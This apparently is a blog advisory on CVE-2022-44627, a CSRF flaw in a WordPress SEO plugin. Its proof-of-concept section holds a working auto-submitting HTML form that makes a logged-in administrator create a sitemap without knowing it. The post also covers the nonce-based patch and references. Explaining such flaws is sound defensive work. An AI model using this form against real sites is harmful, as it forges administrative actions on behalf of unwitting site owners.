In today's interconnected world, websites are only as secure as the plugins they use. With millions of plugins available for websites like WordPress, there is always the possibility of encountering one with a vulnerability actively exploited by attackers. One such vulnerability, identified as CVE-2022-44627, exists in a widely-used WordPress plugin known as David Cole Simple SEO. This plugin, designed to improve a site's search engine optimization, is affected by a Cross-Site Request Forgery (CSRF) vulnerability. As a result, attackers can execute operations like creating or deleting sitemaps remotely. In this blog post, we will delve into the technical aspects of this issue and provide code snippets and references to help you understand its negative consequences.

Vulnerability Description

A CSRF vulnerability in the David Cole Simple SEO plugin version 1.8.12 and earlier allows an attacker to execute malicious actions on a victim's behalf if the victim is logged into the vulnerable WordPress site. Successful exploitation of this vulnerability enables attackers to craft malicious links and trick victims into clicking on them, thereby causing actions such as creating or deleting sitemaps without the victim's knowledge or consent.

Proof of Concept

To illustrate the vulnerability, consider the following code snippet, which forms the basis of this exploit:

<!DOCTYPE html>
<html>
  <body>
    <!-- CSRF exploit form -->
    <form action="http://vulnerable-site/wp-admin/admin.php?page=simple-seo&action=add"; method="POST" id="csrf_form">
      <input type="hidden" name="uri" value="/malicious-sitemap.xml" />
      <input type="hidden" name="submit" value="Create" />
    </form>
  
    <script>
      // Automatically submit the CSRF exploit form
      document.getElementById("csrf_form").submit();
    </script>
  </body>
</html>

If a victim with administrative access to the vulnerable WordPress site clicks on a link that opens the above HTML code, the form will automatically submit the request to create a malicious sitemap (/malicious-sitemap.xml) on the victim's website.

Vulnerability Patch

The vulnerability has been addressed in the David Cole Simple SEO plugin version 1.8.13 by introducing nonce checks. A nonce, or "number used once," serves as a unique token that prevents CSRF attacks by ensuring requests originate from legitimate sources.

References

To learn more about this vulnerability and ways to counter this exploit, consider checking out the following research and resources:

1. National Vulnerability Database (NVD): CVE-2022-44627
2. WPScan Vulnerability Database: Cross-Site Request Forgery to Create/Delete Sitemaps
3. WordPress Developer Resources: Using Nonces

Conclusion

Cross-Site Request Forgery vulnerabilities like CVE-2022-44627 can have far-reaching consequences for websites and their visitors alike. While the latest version of the David Cole Simple SEO plugin includes a patch that addresses this issue, it is essential to remain vigilant in monitoring for other potential vulnerabilities and promptly applying necessary security updates. Maintaining trust with your website visitors, as well as protecting your valuable data, should always remain the top priority.

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/04/2022 13:06:00 UTC